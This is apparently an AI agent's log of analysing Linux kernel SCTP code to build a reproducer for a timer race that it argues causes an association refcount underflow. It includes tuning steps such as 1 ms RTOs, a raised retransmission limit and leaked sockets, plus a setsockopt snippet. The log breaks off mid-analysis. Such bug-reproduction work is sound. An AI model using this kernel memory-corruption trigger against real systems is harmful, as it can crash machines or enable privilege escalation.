5157:	 * after the peer acknowledges all the SCTP packets sent.  A success code
5158:	 * will be returned on successful termination of the association. If
5159:	 * attempting to terminate the association results in a failure, an error
5160:	 * code shall be returned.
5161:	 *
5162:	 * Mandatory attributes:
5163:	 *
5164:	 *  o association id - local handle to the SCTP association
5165:	 *
5166:	 * Optional attributes:
5167:	 *
5168:	 * None.
5169:	 *
5170:	 * The return value is the disposition.
5171:	 */
5172:	enum sctp_disposition sctp_sf_do_9_2_prm_shutdown(
5173:						struct net *net,
5174:						const struct sctp_endpoint *ep,
5175:						const struct sctp_association *asoc,
5176:						const union sctp_subtype type,
5177:						void *arg,
5178:						struct sctp_cmd_seq *commands)
5179:	{
5180:		enum sctp_disposition disposition;
5181:	
5182:		/* From 9.2 Shutdown of an Association
5183:		 * Upon receipt of the SHUTDOWN primitive from its upper
5184:		 * layer, the endpoint enters SHUTDOWN-PENDING state and
5185:		 * remains there until all outstanding data has been
5186:		 * acknowledged by its peer. The endpoint accepts no new data
5187:		 * from its upper layer, but retransmits data to the far end
5188:		 * if necessary to fill gaps.
5189:		 */
5190:		sctp_add_cmd_sf(commands, SCTP_CMD_NEW_STATE,
5191:				SCTP_STATE(SCTP_STATE_SHUTDOWN_PENDING));
5192:	
5193:		disposition = SCTP_DISPOSITION_CONSUME;
5194:		if (sctp_outq_is_empty(&asoc->outqueue)) {
5195:			disposition = sctp_sf_do_9_2_start_shutdown(net, ep, asoc, type,
5196:								    arg, commands);
5197:		}
5198:	
5199:		return disposition;
5200:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 29011
							output: 44
							thoughts: 1320
						

**My Thought Process on Achieving the Desired SCTP Shutdown State**

Okay, let's walk through my reasoning for reaching the specific SCTP state configuration we're aiming for.

My initial observation was around the `sctp_sf_do_9_2_prm_shutdown` function. I noted that it first checks if the association's `outqueue` is empty using `sctp_outq_is_empty(&asoc->outqueue)`. This is a critical detail. If the `outqueue` is *not* empty, the association enters the `SHUTDOWN_PENDING` state and, importantly, *does not* call `sctp_sf_do_9_2_start_shutdown`.

The goal, however, is for the *server* to end up in the `SHUTDOWN_SENT` state. For this to happen, its `outqueue` *must* be empty when the shutdown process is initiated.

Now, let's consider our strategic setup: the client is aggressively sending a large amount of data, and the server is receiving it. Because the server isn't actively sending data back to the client (in this specific scenario), its `outqueue` is indeed empty. Therefore, when the server initiates a `shutdown(SHUT_WR)`, its `outqueue` *will* be empty, triggering the call to `sctp_sf_do_9_2_start_shutdown` and correctly transitioning the server into the `SHUTDOWN_SENT` state.

Simultaneously, the client receives the `SHUTDOWN` chunk from the server. Here's where the client's state becomes crucial. Because the server's receive window is full (due to the client's data flood), the client has unacknowledged data still sitting in its `outqueue`. This means the client will enter the `SHUTDOWN_RECEIVED` state, but it *will not* be able to send a `SHUTDOWN_ACK`.

This is precisely the desired outcome: the server is in `SHUTDOWN_SENT`, and the client is prevented from sending the final `SHUTDOWN_ACK`.

A slight concern crept in: would the client's `outqueue` being non-empty actually prevent it from sending the `SHUTDOWN_ACK`? I double-checked the RFC (4960). It clearly states that upon receiving `SHUTDOWN`, a peer enters `SHUTDOWN_RECEIVED`, stops accepting new data, and must verify that all its outstanding `DATA` chunks have been received by the `SHUTDOWN` sender. If not all data is acknowledged, it waits. This confirms my understanding – the client *will* wait.

To be absolutely sure about the client's `outqueue` status, I re-evaluated the scenario: the client sends 1MB of data, and the server's `SO_RCVBUF` is deliberately set to a very small value (effectively `SOCK_MIN_RCVBUF`, around 2048 bytes). The client will send a few chunks, receive acknowledgements, and then the server will advertise a zero receive window (a-rwnd = 0). The client will then keep the remaining data in its `outqueue`, only sending window probes. Thus, the client's `outqueue` *will* be non-empty, and the server's `outqueue` *will* be empty. The server *will* enter `SHUTDOWN_SENT`.

My final check involved the `sctp_sf_do_dupcook_a` code. I noticed it had a condition:
```c
	if ((sctp_state(asoc, SHUTDOWN_PENDING) ||
	     sctp_state(asoc, SHUTDOWN_SENT)) &&
	    (sctp_sstate(asoc->base.sk, CLOSING) ||
	     sock_flag(asoc->base.sk, SOCK_DEAD))) {
		// ... calls sctp_sf_do_9_2_start_shutdown
	}
```
This code block calls `sctp_sf_do_9_2_start_shutdown` if the association is in `SHUTDOWN_PENDING` or `SHUTDOWN_SENT` *and* the socket is in the `CLOSING` state or `SOCK_DEAD`. My question was: does `shutdown(SHUT_WR)` actually set the socket state to `CLOSING`? Looking at the `sctp_shutdown` function, I confirmed that it does: `inet_sk_set_state(sk, SCTP_SS_CLOSING);` is called. This means `sctp_sstate(asoc->base.sk, CLOSING)` will indeed be true, and `sctp_sf_do_dupcook_a` will correctly invoke `sctp_sf_do_9_2_start_shutdown`.

So, at this point, everything appears to align perfectly for the desired state transitions.

The final piece of the puzzle is maximizing the probability of a race condition. This race is specifically between `timer_pending(timer)` in `SCTP_CMD_TIMER_START` and `timer_reduce(timer, jiffies + timeout)`. We want the timer to expire precisely in that narrow window. To achieve this, the strategy is to minimize the timer's timeout value. The timeout in question is `asoc->timeouts[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN]`, which is derived from the RTO. By setting `srto_initial`, `srto_min`, and `srto_max` to a very low value like 10ms, we reduce the RTO significantly. The remaining question is whether we can push this even lower, perhaps to 1ms, by examining the `SCTP_RTOINFO` limits.

map[ContextFile:net/sctp/socket.c Name:sctp_setsockopt_rtoinfo]

map[SourceCode:3074:	/*
3075:	 *
3076:	 * 7.1.1 SCTP_RTOINFO
3077:	 *
3078:	 * The protocol parameters used to initialize and bound retransmission
3079:	 * timeout (RTO) are tunable. sctp_rtoinfo structure is used to access
3080:	 * and modify these parameters.
3081:	 * All parameters are time values, in milliseconds.  A value of 0, when
3082:	 * modifying the parameters, indicates that the current value should not
3083:	 * be changed.
3084:	 *
3085:	 */
3086:	static int sctp_setsockopt_rtoinfo(struct sock *sk,
3087:					   struct sctp_rtoinfo *rtoinfo,
3088:					   unsigned int optlen)
3089:	{
3090:		struct sctp_association *asoc;
3091:		unsigned long rto_min, rto_max;
3092:		struct sctp_sock *sp = sctp_sk(sk);
3093:	
3094:		if (optlen != sizeof (struct sctp_rtoinfo))
3095:			return -EINVAL;
3096:	
3097:		asoc = sctp_id2assoc(sk, rtoinfo->srto_assoc_id);
3098:	
3099:		/* Set the values to the specific association */
3100:		if (!asoc && rtoinfo->srto_assoc_id != SCTP_FUTURE_ASSOC &&
3101:		    sctp_style(sk, UDP))
3102:			return -EINVAL;
3103:	
3104:		rto_max = rtoinfo->srto_max;
3105:		rto_min = rtoinfo->srto_min;
3106:	
3107:		if (rto_max)
3108:			rto_max = asoc ? msecs_to_jiffies(rto_max) : rto_max;
3109:		else
3110:			rto_max = asoc ? asoc->rto_max : sp->rtoinfo.srto_max;
3111:	
3112:		if (rto_min)
3113:			rto_min = asoc ? msecs_to_jiffies(rto_min) : rto_min;
3114:		else
3115:			rto_min = asoc ? asoc->rto_min : sp->rtoinfo.srto_min;
3116:	
3117:		if (rto_min > rto_max)
3118:			return -EINVAL;
3119:	
3120:		if (asoc) {
3121:			if (rtoinfo->srto_initial != 0)
3122:				asoc->rto_initial =
3123:					msecs_to_jiffies(rtoinfo->srto_initial);
3124:			asoc->rto_max = rto_max;
3125:			asoc->rto_min = rto_min;
3126:		} else {
3127:			/* If there is no association or the association-id = 0
3128:			 * set the values to the endpoint.
3129:			 */
3130:			if (rtoinfo->srto_initial != 0)
3131:				sp->rtoinfo.srto_initial = rtoinfo->srto_initial;
3132:			sp->rtoinfo.srto_max = rto_max;
3133:			sp->rtoinfo.srto_min = rto_min;
3134:		}
3135:	
3136:		return 0;
3137:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 31438
							output: 41
							thoughts: 223
						

**My Thought Process Regarding SCTP RTO and T2_SHUTDOWN Timer Race Condition**

It strikes me that in `sctp_setsockopt_rtoinfo`, there's no explicit minimum limit enforced for the RTO values beyond the simple constraint `rto_min <= rto_max`. This means I *can* theoretically set the RTO to a very low value, specifically 1ms, as demonstrated by these settings:

```c
    rtoinfo.srto_initial = 1;
    rtoinfo.srto_min = 1;
    rtoinfo.srto_max = 1;
```

My initial thought is that this incredibly short timeout would significantly increase the likelihood of encountering a race condition.

However, I then pause and reconsider. I realize I need to be more precise about *which* timer is relevant here. I recall that the critical timer in this context is `T2_SHUTDOWN`. When the `sctp_sf_do_9_2_start_shutdown` function is invoked, it initiates this `T2_SHUTDOWN` timer by issuing an `SCTP_CMD_TIMER_START` command. The specific duration for this timeout is retrieved from `asoc->timeouts[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN]`. Therefore, my next crucial step is to investigate how this particular timeout value, `asoc->timeouts[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN]`, is initialized. Understanding its origin is key to determining if my initial thought about manipulating RTOs directly to trigger a race condition is applicable, or if the race condition is tied to a different, potentially fixed, timer value.

map[ContextFile:net/sctp/associola.c Name:sctp_association_init]

map[SourceCode:  50:	/* Initialize a new association from provided memory. */
  51:	static struct sctp_association *sctp_association_init(
  52:						struct sctp_association *asoc,
  53:						const struct sctp_endpoint *ep,
  54:						const struct sock *sk,
  55:						enum sctp_scope scope, gfp_t gfp)
  56:	{
  57:		struct sctp_sock *sp;
  58:		struct sctp_paramhdr *p;
  59:		int i;
  60:	
  61:		/* Retrieve the SCTP per socket area.  */
  62:		sp = sctp_sk((struct sock *)sk);
  63:	
  64:		/* Discarding const is appropriate here.  */
  65:		asoc->ep = (struct sctp_endpoint *)ep;
  66:		asoc->base.sk = (struct sock *)sk;
  67:		asoc->base.net = sock_net(sk);
  68:	
  69:		sctp_endpoint_hold(asoc->ep);
  70:		sock_hold(asoc->base.sk);
  71:	
  72:		/* Initialize the common base substructure.  */
  73:		asoc->base.type = SCTP_EP_TYPE_ASSOCIATION;
  74:	
  75:		/* Initialize the object handling fields.  */
  76:		refcount_set(&asoc->base.refcnt, 1);
  77:	
  78:		/* Initialize the bind addr area.  */
  79:		sctp_bind_addr_init(&asoc->base.bind_addr, ep->base.bind_addr.port);
  80:	
  81:		asoc->state = SCTP_STATE_CLOSED;
  82:		asoc->cookie_life = ms_to_ktime(sp->assocparams.sasoc_cookie_life);
  83:		asoc->user_frag = sp->user_frag;
  84:	
  85:		/* Set the association max_retrans and RTO values from the
  86:		 * socket values.
  87:		 */
  88:		asoc->max_retrans = sp->assocparams.sasoc_asocmaxrxt;
  89:		asoc->pf_retrans  = sp->pf_retrans;
  90:		asoc->ps_retrans  = sp->ps_retrans;
  91:		asoc->pf_expose   = sp->pf_expose;
  92:	
  93:		asoc->rto_initial = msecs_to_jiffies(sp->rtoinfo.srto_initial);
  94:		asoc->rto_max = msecs_to_jiffies(sp->rtoinfo.srto_max);
  95:		asoc->rto_min = msecs_to_jiffies(sp->rtoinfo.srto_min);
  96:	
  97:		/* Initialize the association's heartbeat interval based on the
  98:		 * sock configured value.
  99:		 */
 100:		asoc->hbinterval = msecs_to_jiffies(sp->hbinterval);
 101:		asoc->probe_interval = msecs_to_jiffies(sp->probe_interval);
 102:	
 103:		asoc->encap_port = sp->encap_port;
 104:	
 105:		/* Initialize path max retrans value. */
 106:		asoc->pathmaxrxt = sp->pathmaxrxt;
 107:	
 108:		asoc->flowlabel = sp->flowlabel;
 109:		asoc->dscp = sp->dscp;
 110:	
 111:		/* Set association default SACK delay */
 112:		asoc->sackdelay = msecs_to_jiffies(sp->sackdelay);
 113:		asoc->sackfreq = sp->sackfreq;
 114:	
 115:		/* Set the association default flags controlling
 116:		 * Heartbeat, SACK delay, and Path MTU Discovery.
 117:		 */
 118:		asoc->param_flags = sp->param_flags;
 119:	
 120:		/* Initialize the maximum number of new data packets that can be sent
 121:		 * in a burst.
 122:		 */
 123:		asoc->max_burst = sp->max_burst;
 124:	
 125:		asoc->subscribe = sp->subscribe;
 126:	
 127:		/* initialize association timers */
 128:		asoc->timeouts[SCTP_EVENT_TIMEOUT_T1_COOKIE] = asoc->rto_initial;
 129:		asoc->timeouts[SCTP_EVENT_TIMEOUT_T1_INIT] = asoc->rto_initial;
 130:		asoc->timeouts[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN] = asoc->rto_initial;
 131:	
 132:		/* sctpimpguide Section 2.12.2
 133:		 * If the 'T5-shutdown-guard' timer is used, it SHOULD be set to the
 134:		 * recommended value of 5 times 'RTO.Max'.
 135:		 */
 136:		asoc->timeouts[SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD]
 137:			= 5 * asoc->rto_max;
 138:	
 139:		asoc->timeouts[SCTP_EVENT_TIMEOUT_SACK] = asoc->sackdelay;
 140:		asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE] =
 141:			(unsigned long)sp->autoclose * HZ;
 142:	
 143:		/* Initializes the timers */
 144:		for (i = SCTP_EVENT_TIMEOUT_NONE; i < SCTP_NUM_TIMEOUT_TYPES; ++i)
 145:			timer_setup(&asoc->timers[i], sctp_timer_events[i], 0);
 146:	
 147:		/* Pull default initialization values from the sock options.
 148:		 * Note: This assumes that the values have already been
 149:		 * validated in the sock.
 150:		 */
 151:		asoc->c.sinit_max_instreams = sp->initmsg.sinit_max_instreams;
 152:		asoc->c.sinit_num_ostreams  = sp->initmsg.sinit_num_ostreams;
 153:		asoc->max_init_attempts	= sp->initmsg.sinit_max_attempts;
 154:	
 155:		asoc->max_init_timeo =
 156:			 msecs_to_jiffies(sp->initmsg.sinit_max_init_timeo);
 157:	
 158:		/* Set the local window size for receive.
 159:		 * This is also the rcvbuf space per association.
 160:		 * RFC 6 - A SCTP receiver MUST be able to receive a minimum of
 161:		 * 1500 bytes in one SCTP packet.
 162:		 */
 163:		if ((sk->sk_rcvbuf/2) < SCTP_DEFAULT_MINWINDOW)
 164:			asoc->rwnd = SCTP_DEFAULT_MINWINDOW;
 165:		else
 166:			asoc->rwnd = sk->sk_rcvbuf/2;
 167:	
 168:		asoc->a_rwnd = asoc->rwnd;
 169:	
 170:		/* Use my own max window until I learn something better.  */
 171:		asoc->peer.rwnd = SCTP_DEFAULT_MAXWINDOW;
 172:	
 173:		/* Initialize the receive memory counter */
 174:		atomic_set(&asoc->rmem_alloc, 0);
 175:	
 176:		init_waitqueue_head(&asoc->wait);
 177:	
 178:		asoc->c.my_vtag = sctp_generate_tag(ep);
 179:		asoc->c.my_port = ep->base.bind_addr.port;
 180:	
 181:		asoc->c.initial_tsn = sctp_generate_tsn(ep);
 182:	
 183:		asoc->next_tsn = asoc->c.initial_tsn;
 184:	
 185:		asoc->ctsn_ack_point = asoc->next_tsn - 1;
 186:		asoc->adv_peer_ack_point = asoc->ctsn_ack_point;
 187:		asoc->highest_sacked = asoc->ctsn_ack_point;
 188:		asoc->last_cwr_tsn = asoc->ctsn_ack_point;
 189:	
 190:		/* ADDIP Section 4.1 Asconf Chunk Procedures
 191:		 *
 192:		 * When an endpoint has an ASCONF signaled change to be sent to the
 193:		 * remote endpoint it should do the following:
 194:		 * ...
 195:		 * A2) a serial number should be assigned to the chunk. The serial
 196:		 * number SHOULD be a monotonically increasing number. The serial
 197:		 * numbers SHOULD be initialized at the start of the
 198:		 * association to the same value as the initial TSN.
 199:		 */
 200:		asoc->addip_serial = asoc->c.initial_tsn;
 201:		asoc->strreset_outseq = asoc->c.initial_tsn;
 202:	
 203:		INIT_LIST_HEAD(&asoc->addip_chunk_list);
 204:		INIT_LIST_HEAD(&asoc->asconf_ack_list);
 205:	
 206:		/* Make an empty list of remote transport addresses.  */
 207:		INIT_LIST_HEAD(&asoc->peer.transport_addr_list);
 208:	
 209:		/* RFC 2960 5.1 Normal Establishment of an Association
 210:		 *
 211:		 * After the reception of the first data chunk in an
 212:		 * association the endpoint must immediately respond with a
 213:		 * sack to acknowledge the data chunk.  Subsequent
 214:		 * acknowledgements should be done as described in Section
 215:		 * 6.2.
 216:		 *
 217:		 * [We implement this by telling a new association that it
 218:		 * already received one packet.]
 219:		 */
 220:		asoc->peer.sack_needed = 1;
 221:		asoc->peer.sack_generation = 1;
 222:	
 223:		/* Create an input queue.  */
 224:		sctp_inq_init(&asoc->base.inqueue);
 225:		sctp_inq_set_th_handler(&asoc->base.inqueue, sctp_assoc_bh_rcv);
 226:	
 227:		/* Create an output queue.  */
 228:		sctp_outq_init(asoc, &asoc->outqueue);
 229:	
 230:		sctp_ulpq_init(&asoc->ulpq, asoc);
 231:	
 232:		if (sctp_stream_init(&asoc->stream, asoc->c.sinit_num_ostreams, 0, gfp))
 233:			goto stream_free;
 234:	
 235:		/* Initialize default path MTU. */
 236:		asoc->pathmtu = sp->pathmtu;
 237:		sctp_assoc_update_frag_point(asoc);
 238:	
 239:		/* Assume that peer would support both address types unless we are
 240:		 * told otherwise.
 241:		 */
 242:		asoc->peer.ipv4_address = 1;
 243:		if (asoc->base.sk->sk_family == PF_INET6)
 244:			asoc->peer.ipv6_address = 1;
 245:		INIT_LIST_HEAD(&asoc->asocs);
 246:	
 247:		asoc->default_stream = sp->default_stream;
 248:		asoc->default_ppid = sp->default_ppid;
 249:		asoc->default_flags = sp->default_flags;
 250:		asoc->default_context = sp->default_context;
 251:		asoc->default_timetolive = sp->default_timetolive;
 252:		asoc->default_rcv_context = sp->default_rcv_context;
 253:	
 254:		/* AUTH related initializations */
 255:		INIT_LIST_HEAD(&asoc->endpoint_shared_keys);
 256:		if (sctp_auth_asoc_copy_shkeys(ep, asoc, gfp))
 257:			goto stream_free;
 258:	
 259:		asoc->active_key_id = ep->active_key_id;
 260:		asoc->strreset_enable = ep->strreset_enable;
 261:	
 262:		/* Save the hmacs and chunks list into this association */
 263:		if (ep->auth_hmacs_list)
 264:			memcpy(asoc->c.auth_hmacs, ep->auth_hmacs_list,
 265:				ntohs(ep->auth_hmacs_list->param_hdr.length));
 266:		if (ep->auth_chunk_list)
 267:			memcpy(asoc->c.auth_chunks, ep->auth_chunk_list,
 268:				ntohs(ep->auth_chunk_list->param_hdr.length));
 269:	
 270:		/* Get the AUTH random number for this association */
 271:		p = (struct sctp_paramhdr *)asoc->c.auth_random;
 272:		p->type = SCTP_PARAM_RANDOM;
 273:		p->length = htons(sizeof(*p) + SCTP_AUTH_RANDOM_LENGTH);
 274:		get_random_bytes(p+1, SCTP_AUTH_RANDOM_LENGTH);
 275:	
 276:		return asoc;
 277:	
 278:	stream_free:
 279:		sctp_stream_free(&asoc->stream);
 280:		sock_put(asoc->base.sk);
 281:		sctp_endpoint_put(asoc->ep);
 282:		return NULL;
 283:	}
 SourceFile:net/sctp/associola.c]

gemini-3.1-pro-preview

							input: 35766
							output: 43
							thoughts: 6336
						

**The Race Condition: A Descent into SCTP Timer Chaos**

I've been diving deep into an SCTP race condition, and it's quite the intricate dance of timers and state management. My primary focus has been on the `T2_SHUTDOWN` timer and its interaction with the `sctp_association_hold` function, specifically when the server is in the `SHUTDOWN_SENT` state.

My initial observation was that the `T2_SHUTDOWN` timeout is indeed set to `rto_initial`. If I configure `srto_initial` to be a mere 1 jiffy (which translates to 1ms or 4ms depending on `HZ`), this extremely short timeout becomes a key ingredient for triggering the race.

The crux of the problem lies in the timing between the `timer_pending` check and the `timer_reduce` call within the `sctp_cmd_interpreter`. The scenario I'm exploring involves the server being in the `SHUTDOWN_SENT` state, meaning the `T2_SHUTDOWN` timer is already active and pending.

Here's how the race unfolds:

1.  **`timer_pending` Check:** The `sctp_cmd_interpreter`, running in `sctp_rcv` on CPU 1, checks if the timer is pending using `timer_pending(timer)`.
2.  **Timer Expiration & Dequeue:** Crucially, the timer softirq on CPU 2 can expire the timer *exactly* between the `timer_pending` check and the `timer_reduce` call on CPU 1. The timer softirq dequeues the timer (calling `detach_timer`) *before* executing its callback (`sctp_generate_timeout_event`).
3.  **`timer_reduce` Sees Dequeued Timer:** Because the timer has already been dequeued by CPU 2, `timer_pending(timer)` on CPU 1 will now return `FALSE` if it were called again (though it's not in this specific sequence). More importantly, when `timer_reduce` is called by CPU 1, it sees that the timer is no longer pending and, therefore, re-enqueues it.
4.  **`sctp_association_hold` Skipped:** Since `timer_pending(timer)` returned `TRUE` initially, the `sctp_association_hold(asoc)` call is skipped by CPU 1. This means a reference to the association is never taken when it should have been.
5.  **`sctp_generate_timeout_event` Execution:** Now, CPU 2’s timer softirq executes `sctp_generate_timeout_event`. This function first attempts to acquire the socket lock via `bh_lock_sock(sk)`.
6.  **Lock Contention:** If CPU 1 (in `sctp_rcv`) is holding the `bh_lock_sock(sk)`, CPU 2 will block and spin, waiting for the lock to be released.
7.  **Lock Release and `sock_owned_by_user`:** Once CPU 1 finishes its `sctp_rcv` processing and releases `bh_lock_sock(sk)`, CPU 2 acquires the lock. It then checks `sock_owned_by_user(sk)`. Since `sctp_rcv` in softirq context usually doesn't set this flag (it's typically set by user threads using `lock_sock`), this check often returns `FALSE`.
8.  **Reference Drop:** Because `sock_owned_by_user(sk)` is `FALSE`, CPU 2 proceeds with the timer's timeout logic. At the end of this, it calls `sctp_association_put(asoc)`, decrementing the association's reference count.
9.  **Double Reference Drop:** This is where the problem compounds. CPU 1's `timer_reduce` call re-enqueued the timer. So, when this timer expires *again*, it will trigger `sctp_generate_timeout_event` *yet another time*. This will lead to another call to `sctp_association_put(asoc)`, dropping a reference that was never properly incremented in the first place due to the skipped `sctp_association_hold`.

The net effect is that the association's reference count is decremented more times than it's incremented, leading to a reference count underflow. This can ultimately cause the association to be prematurely freed, leading to crashes or other undefined behavior.

To maximize the likelihood of hitting this race, I've identified three key factors:
*   **Tiny Timer Timeout:** A very short `T2_SHUTDOWN` timeout (1 jiffy).
*   **Repeated Timer Starts:** Triggering `SCTP_CMD_TIMER_START` very frequently.
*   **Multiple CPUs:** Running the affected code on different CPUs to facilitate the interleaving.

The reproducer code is designed to achieve this by:
*   Setting the `srto_initial` to 1.
*   Spawning multiple threads that continuously send `INIT` chunks. Each `INIT` leads to a `COOKIE_ECHO`, which in turn triggers `SCTP_CMD_TIMER_START`.
*   The reproducer also includes a `shutdown` on the server-side socket to force it into the `SHUTDOWN_SENT` state, making the `T2_SHUTDOWN` timer relevant.

A critical detail I uncovered is that to keep the race alive and prevent the association from being aborted by repeated timer expirations, the `max_retrans` value for the association needs to be sufficiently high. Otherwise, the association will be deleted after a few timer cycles. I've also realized that leaking file descriptors is *necessary* in the reproducer, as closing sockets prematurely would send an `ABORT` chunk and terminate the association, thus ending the race. The `SO_RCVBUF` being set to 0 is also a contributing factor to creating a tight window for these operations.

map[ContextFile:net/sctp/socket.c Name:sctp_setsockopt_associnfo]

map[SourceCode:3139:	/*
3140:	 *
3141:	 * 7.1.2 SCTP_ASSOCINFO
3142:	 *
3143:	 * This option is used to tune the maximum retransmission attempts
3144:	 * of the association.
3145:	 * Returns an error if the new association retransmission value is
3146:	 * greater than the sum of the retransmission value  of the peer.
3147:	 * See [SCTP] for more information.
3148:	 *
3149:	 */
3150:	static int sctp_setsockopt_associnfo(struct sock *sk,
3151:					     struct sctp_assocparams *assocparams,
3152:					     unsigned int optlen)
3153:	{
3154:	
3155:		struct sctp_association *asoc;
3156:	
3157:		if (optlen != sizeof(struct sctp_assocparams))
3158:			return -EINVAL;
3159:	
3160:		asoc = sctp_id2assoc(sk, assocparams->sasoc_assoc_id);
3161:	
3162:		if (!asoc && assocparams->sasoc_assoc_id != SCTP_FUTURE_ASSOC &&
3163:		    sctp_style(sk, UDP))
3164:			return -EINVAL;
3165:	
3166:		/* Set the values to the specific association */
3167:		if (asoc) {
3168:			if (assocparams->sasoc_asocmaxrxt != 0) {
3169:				__u32 path_sum = 0;
3170:				int   paths = 0;
3171:				struct sctp_transport *peer_addr;
3172:	
3173:				list_for_each_entry(peer_addr, &asoc->peer.transport_addr_list,
3174:						transports) {
3175:					path_sum += peer_addr->pathmaxrxt;
3176:					paths++;
3177:				}
3178:	
3179:				/* Only validate asocmaxrxt if we have more than
3180:				 * one path/transport.  We do this because path
3181:				 * retransmissions are only counted when we have more
3182:				 * then one path.
3183:				 */
3184:				if (paths > 1 &&
3185:				    assocparams->sasoc_asocmaxrxt > path_sum)
3186:					return -EINVAL;
3187:	
3188:				asoc->max_retrans = assocparams->sasoc_asocmaxrxt;
3189:			}
3190:	
3191:			if (assocparams->sasoc_cookie_life != 0)
3192:				asoc->cookie_life =
3193:					ms_to_ktime(assocparams->sasoc_cookie_life);
3194:		} else {
3195:			/* Set the values to the endpoint */
3196:			struct sctp_sock *sp = sctp_sk(sk);
3197:	
3198:			if (assocparams->sasoc_asocmaxrxt != 0)
3199:				sp->assocparams.sasoc_asocmaxrxt =
3200:							assocparams->sasoc_asocmaxrxt;
3201:			if (assocparams->sasoc_cookie_life != 0)
3202:				sp->assocparams.sasoc_cookie_life =
3203:							assocparams->sasoc_cookie_life;
3204:		}
3205:		return 0;
3206:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 43184
							output: 49
							thoughts: 671
						

**My Thought Process on Optimizing SCTP Association Durability**

This is excellent! I've just had a breakthrough regarding how to ensure our SCTP associations remain stable during those crucial 5-second race windows. My initial thought was to simply crank up `sasoc_asocmaxrxt` to a very high value, like 65535. The reasoning here is straightforward: this parameter controls the maximum number of retransmissions allowed for an association before it's considered to have failed. By setting it so high, I aimed to prevent the association from being prematurely aborted due to packet loss or other transient network issues within that critical 5-second period.

Here's the code snippet that reflects this initial idea:

```c
    struct sctp_assocparams assocparams;
    memset(&assocparams, 0, sizeof(assocparams));
    assocparams.sasoc_asocmaxrxt = 65535;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_ASSOCINFO, &assocparams, sizeof(assocparams)) < 0) {
        printf("[-] setsockopt SCTP_ASSOCINFO: %s\n", strerror(errno));
        exit(1);
    }
```

However, as I delved deeper, I recalled the specific checks performed by `sctp_setsockopt_associnfo`. The kernel's validation logic for `sasoc_asocmaxrxt` is as follows:

```c
			if (assocparams->sasoc_asocmaxrxt != 0) {
				__u32 path_sum = 0;
				int   paths = 0;
				struct sctp_transport *peer_addr;
	
				list_for_each_entry(peer_addr, &asoc->peer.transport_addr_list,
						transports) {
					path_sum += peer_addr->pathmaxrxt;
					paths++;
				}
	
				/* Only validate asocmaxrxt if we have more than
				 * one path/transport.  We do this because path
				 * retransmissions are only counted when we have more
				 * then one path.
				 */
				if (paths > 1 &&
				    assocparams->sasoc_asocmaxrxt > path_sum)
					return -EINVAL;
```

This reveals a critical detail: the validation for `sasoc_asocmaxrxt` only occurs if there is *more than one path* or transport associated with the endpoint. Since, in our current setup, we are dealing with a single path (connecting to 127.0.0.1), the `paths` variable will be 1. Consequently, the condition `paths > 1` will be false, and this validation check will be completely skipped. This means my initial approach of setting `sasoc_asocmaxrxt` to 65535 is indeed safe and won't be rejected by the kernel.

Now, a crucial point of timing. To ensure that the accepted sockets inherit this setting, it's imperative that I apply this `setsockopt` call to the `server_fd` *before* calling `listen()` or `accept()`. Alternatively, I could set it directly on the `accepted_fd` after it's created, but applying it to the server socket upfront seems cleaner and guarantees that all subsequent accepted connections will benefit from this robust retransmission limit. So, the plan is to set it on `server_fd` prior to `listen()`.

But wait, this isn't the only timer that could potentially bring down an association. I need to consider other potential points of failure. My mind immediately jumps to the `T5_SHUTDOWN_GUARD` timer. The SCTP implementation guide (Section 2.12.2) suggests that this timer *should* be set to 5 times `RTO.Max`.

Looking at the relevant code:

```c
	/* sctpimpguide Section 2.12.2
	 * If the 'T5-shutdown-guard' timer is used, it SHOULD be set to the
	 * recommended value of 5 times 'RTO.Max'.
	 */
	asoc->timeouts[SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD]
		= 5 * asoc->rto_max;
```

Given that I've just configured `rto_max` to a mere 1ms, this implies that `T5_SHUTDOWN_GUARD` will be set to a mere 5ms. This is a significant concern. If this timer fires, what exactly happens? I need to understand the behavior associated with `T5_SHUTDOWN_GUARD` expiring. This is the next critical piece of information I need to investigate to ensure complete association stability.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_t5_timer_expire]

map[SourceCode:6212:	/* sctpimpguide-05 Section 2.12.2
6213:	 * The sender of the SHUTDOWN MAY also start an overall guard timer
6214:	 * 'T5-shutdown-guard' to bound the overall time for shutdown sequence.
6215:	 * At the expiration of this timer the sender SHOULD abort the association
6216:	 * by sending an ABORT chunk.
6217:	 */
6218:	enum sctp_disposition sctp_sf_t5_timer_expire(
6219:						struct net *net,
6220:						const struct sctp_endpoint *ep,
6221:						const struct sctp_association *asoc,
6222:						const union sctp_subtype type,
6223:						void *arg,
6224:						struct sctp_cmd_seq *commands)
6225:	{
6226:		struct sctp_chunk *reply = NULL;
6227:	
6228:		pr_debug("%s: timer T5 expired\n", __func__);
6229:	
6230:		SCTP_INC_STATS(net, SCTP_MIB_T5_SHUTDOWN_GUARD_EXPIREDS);
6231:	
6232:		reply = sctp_make_abort(asoc, NULL, 0);
6233:		if (!reply)
6234:			goto nomem;
6235:	
6236:		sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(reply));
6237:		sctp_add_cmd_sf(commands, SCTP_CMD_SET_SK_ERR,
6238:				SCTP_ERROR(ETIMEDOUT));
6239:		sctp_add_cmd_sf(commands, SCTP_CMD_ASSOC_FAILED,
6240:				SCTP_PERR(SCTP_ERROR_NO_ERROR));
6241:	
6242:		SCTP_INC_STATS(net, SCTP_MIB_ABORTEDS);
6243:		SCTP_DEC_STATS(net, SCTP_MIB_CURRESTAB);
6244:	
6245:		return SCTP_DISPOSITION_DELETE_TCB;
6246:	nomem:
6247:		return SCTP_DISPOSITION_NOMEM;
6248:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 44567
							output: 43
							thoughts: 285
						

**My Thought Process Regarding `T5_SHUTDOWN_GUARD` and SCTP Shutdown Timers**

